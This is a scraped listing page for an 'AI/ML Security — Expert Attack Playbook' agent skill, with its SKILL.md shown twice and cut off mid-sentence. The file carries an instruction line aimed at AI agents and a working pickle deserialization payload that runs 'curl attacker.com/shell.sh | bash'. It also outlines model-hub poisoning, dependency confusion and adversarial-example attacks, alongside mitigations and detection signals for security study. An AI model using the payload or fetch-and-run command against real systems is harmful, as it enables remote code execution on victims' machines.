ai-ml-security

Name: ai-ml-security
Author: ShulkwiSEC

18stars5forks

How to install ai-ml-security?

shulkwisec/bb-huge/ai-ml-security

$npx -y skills add ShulkwiSEC/bb-huge --skill ai-ml-security

Installs into the current project.

Summary

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: AI/ML Security — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
4
5	## 0. RELATED ROUTING
6
7	- [llm-prompt-injection](../llm-prompt-injection/SKILL.md) for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
8	- [deserialization-insecure](../deserialization-insecure/SKILL.md) for deeper coverage of Python pickle and general deserialization attack patterns
9	- [dependency-confusion](../dependency-confusion/SKILL.md) when the ML pipeline has supply chain risks via pip/npm package confusion
10
11	---
12
13	## 1. MODEL SUPPLY CHAIN ATTACKS
14
15	### 1.1 Malicious Model Files — Pickle RCE
16
17	Python's `pickle` module executes arbitrary code during deserialization. PyTorch `.pt`/`.pth` files use pickle by default.
18
19	```python
20	import pickle
21	import os
22
23	class MaliciousModel:
24	def __reduce__(self):
25	return (os.system, ('curl attacker.com/shell.sh \| bash',))
26
27	with open('model.pt', 'wb') as f:
28	pickle.dump(MaliciousModel(), f)
29	```
30
31	Loading `torch.load('model.pt')` executes the embedded command. Applies to:
32
33	\| Format \| Risk \| Mitigation \|
34	\|---\|---\|---\|
35	\| `.pt` / `.pth` (PyTorch) \| Critical — pickle by default \| Use `torch.load(..., weights_only=True)` (PyTorch ≥ 2.0) \|
36	\| `.pkl` / `.pickle` \| Critical — raw pickle \| Never load untrusted pickles \|
37	\| `.joblib` \| High — uses pickle internally \| Verify provenance \|
38	\| `.npy` / `.npz` (NumPy) \| Medium — `allow_pickle=True` enables RCE \| Use `allow_pickle=False` \|
39	\| `.safetensors` \| Safe — tensor-only format, no code execution \| Preferred format \|
40	\| `.onnx` \| Safe — graph definition only, no arbitrary code \| Preferred for inference \|
41
42	### 1.2 Hugging Face Model Poisoning
43
44	```
45	Attack vectors:
46	├── Upload model with pickle-based backdoor to Hub
47	│ └── Users download via `from_pretrained('attacker/model')`
48	│ └── pickle deserialization → RCE on load
49	├── Backdoored weights (no RCE, but biased behavior)
50	│ └── Model behaves normally except on trigger inputs
51	│ └── Example: sentiment model returns positive for competitor's products
52	├── Malicious tokenizer config
53	│ └── Custom tokenizer code with embedded payload
54	└── Poisoned training scripts in model repo
55	└── `train.py` with obfuscated backdoor
56	```
57
58	Detection signals:
59	- Files with `.pt`/`.pkl` extension instead of `.safetensors`
60	- Custom Python code in the repository (`*.py` files outside standard config)
61	- Unusual `config.json` with `trust_remote_code=True` requirement
62	- Model card lacking provenance, training data description, or eval results
63
64	### 1.3 Dependency Confusion in ML Pipelines
65
66	ML projects often have complex dependency chains:
67
68	```
69	requirements.txt:
70	internal-ml-utils==1.2.3 ← private package
71	torch==2.0.0
72	transformers==4.30.0
73
74	Attack: register "internal-ml-utils" on public PyPI with higher version
75	→ pip installs attacker's version → arbitrary code in setup.py
76	```
77
78	---
79
80	## 2. ADVERSARIAL EXAMPLES
81
82	### 2.1 Attack Taxonomy
83
84	\| Attack Type \| Knowledge \| Method \|
85	\|---\|---\|---\|
86	\| White-box \| Full model access (architecture + weights) \| Gradient-based: FGSM, PGD, C&W \|
87	\| Black-box (transfer) \| Access to similar model \| Generate adversarial on surrogate, transfer to target \|
88	\| Black-box (query) \| API access only \| Estimate gradients via finite differences or evolutionary methods \|
89	\| Physical-world \| Camera/sensor input \| Adversarial patches, glasses, modified objects \|
90
91	### 2.2 FGSM (Fast Gradient Sign Method)
92
93	Single-step attack. Fast but less effective against robust models:
94
95	```python
96	epsilon = 0.03 # perturbation budget (L∞ norm)
97	x_adv = x + epsilon * sign(∇_x L(θ, x, y))
98	```
99
100	Perturbation is imperceptible to humans but changes classification.
101
102	### 2.3 PGD (Projected Gradient Descent)
103
104	Iterative version of FGSM. Stronger but slower:
105
106	```python
107	x_adv = x
108	for i in range(num_steps):
109	x_adv = x_adv + alpha * sign(∇_x L(θ, x_adv, y))
110	x_adv = clip(x_adv, x - epsilon, x + epsilon) # project back to ε-ball
111	x_adv = clip(x_adv, 0, 1) # valid pixel range
112	```
113
114	### 2.4 C&W (Carlini & Wagner)
115
116	Optimization-based. Finds minimal perturbation to cause misclassification:
117
118	```
119	minimize: \|\|δ\|\|₂ + c · f(x + δ)
120	where f(x + δ) < 0 iff misclassified
121	```
122
123	Most effective for targeted attacks (force specific

People who liked this also viewed

6 picks

Type

ai-ml-security

18stars5forks

View on GitHub

How to install ai-ml-security?

shulkwisec/bb-huge/ai-ml-security

$npx -y skills add ShulkwiSEC/bb-huge --skill ai-ml-security

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: AI/ML Security — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
4
5	## 0. RELATED ROUTING
6
7	- [llm-prompt-injection](../llm-prompt-injection/SKILL.md) for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
8	- [deserialization-insecure](../deserialization-insecure/SKILL.md) for deeper coverage of Python pickle and general deserialization attack patterns
9	- [dependency-confusion](../dependency-confusion/SKILL.md) when the ML pipeline has supply chain risks via pip/npm package confusion
10
11	---
12
13	## 1. MODEL SUPPLY CHAIN ATTACKS
14
15	### 1.1 Malicious Model Files — Pickle RCE
16
17	Python's `pickle` module executes arbitrary code during deserialization. PyTorch `.pt`/`.pth` files use pickle by default.
18
19	```python
20	import pickle
21	import os
22
23	class MaliciousModel:
24	def __reduce__(self):
25	return (os.system, ('curl attacker.com/shell.sh \| bash',))
26
27	with open('model.pt', 'wb') as f:
28	pickle.dump(MaliciousModel(), f)
29	```
30
31	Loading `torch.load('model.pt')` executes the embedded command. Applies to:
32
33	\| Format \| Risk \| Mitigation \|
34	\|---\|---\|---\|
35	\| `.pt` / `.pth` (PyTorch) \| Critical — pickle by default \| Use `torch.load(..., weights_only=True)` (PyTorch ≥ 2.0) \|
36	\| `.pkl` / `.pickle` \| Critical — raw pickle \| Never load untrusted pickles \|
37	\| `.joblib` \| High — uses pickle internally \| Verify provenance \|
38	\| `.npy` / `.npz` (NumPy) \| Medium — `allow_pickle=True` enables RCE \| Use `allow_pickle=False` \|
39	\| `.safetensors` \| Safe — tensor-only format, no code execution \| Preferred format \|
40	\| `.onnx` \| Safe — graph definition only, no arbitrary code \| Preferred for inference \|
41
42	### 1.2 Hugging Face Model Poisoning
43
44	```
45	Attack vectors:
46	├── Upload model with pickle-based backdoor to Hub
47	│ └── Users download via `from_pretrained('attacker/model')`
48	│ └── pickle deserialization → RCE on load
49	├── Backdoored weights (no RCE, but biased behavior)
50	│ └── Model behaves normally except on trigger inputs
51	│ └── Example: sentiment model returns positive for competitor's products
52	├── Malicious tokenizer config
53	│ └── Custom tokenizer code with embedded payload
54	└── Poisoned training scripts in model repo
55	└── `train.py` with obfuscated backdoor
56	```
57
58	Detection signals:
59	- Files with `.pt`/`.pkl` extension instead of `.safetensors`
60	- Custom Python code in the repository (`*.py` files outside standard config)
61	- Unusual `config.json` with `trust_remote_code=True` requirement
62	- Model card lacking provenance, training data description, or eval results
63
64	### 1.3 Dependency Confusion in ML Pipelines
65
66	ML projects often have complex dependency chains:
67
68	```
69	requirements.txt:
70	internal-ml-utils==1.2.3 ← private package
71	torch==2.0.0
72	transformers==4.30.0
73
74	Attack: register "internal-ml-utils" on public PyPI with higher version
75	→ pip installs attacker's version → arbitrary code in setup.py
76	```
77
78	---
79
80	## 2. ADVERSARIAL EXAMPLES
81
82	### 2.1 Attack Taxonomy
83
84	\| Attack Type \| Knowledge \| Method \|
85	\|---\|---\|---\|
86	\| White-box \| Full model access (architecture + weights) \| Gradient-based: FGSM, PGD, C&W \|
87	\| Black-box (transfer) \| Access to similar model \| Generate adversarial on surrogate, transfer to target \|
88	\| Black-box (query) \| API access only \| Estimate gradients via finite differences or evolutionary methods \|
89	\| Physical-world \| Camera/sensor input \| Adversarial patches, glasses, modified objects \|
90
91	### 2.2 FGSM (Fast Gradient Sign Method)
92
93	Single-step attack. Fast but less effective against robust models:
94
95	```python
96	epsilon = 0.03 # perturbation budget (L∞ norm)
97	x_adv = x + epsilon * sign(∇_x L(θ, x, y))
98	```
99
100	Perturbation is imperceptible to humans but changes classification.
101
102	### 2.3 PGD (Projected Gradient Descent)
103
104	Iterative version of FGSM. Stronger but slower:
105
106	```python
107	x_adv = x
108	for i in range(num_steps):
109	x_adv = x_adv + alpha * sign(∇_x L(θ, x_adv, y))
110	x_adv = clip(x_adv, x - epsilon, x + epsilon) # project back to ε-ball
111	x_adv = clip(x_adv, 0, 1) # valid pixel range
112	```
113
114	### 2.4 C&W (Carlini & Wagner)
115
116	Optimization-based. Finds minimal perturbation to cause misclassification:
117
118	```
119	minimize: \|\|δ\|\|₂ + c · f(x + δ)
120	where f(x + δ) < 0 iff misclassified
121	```
122
123	Most effective for targeted attacks (force specific

People who liked this also viewed

6 picks

Type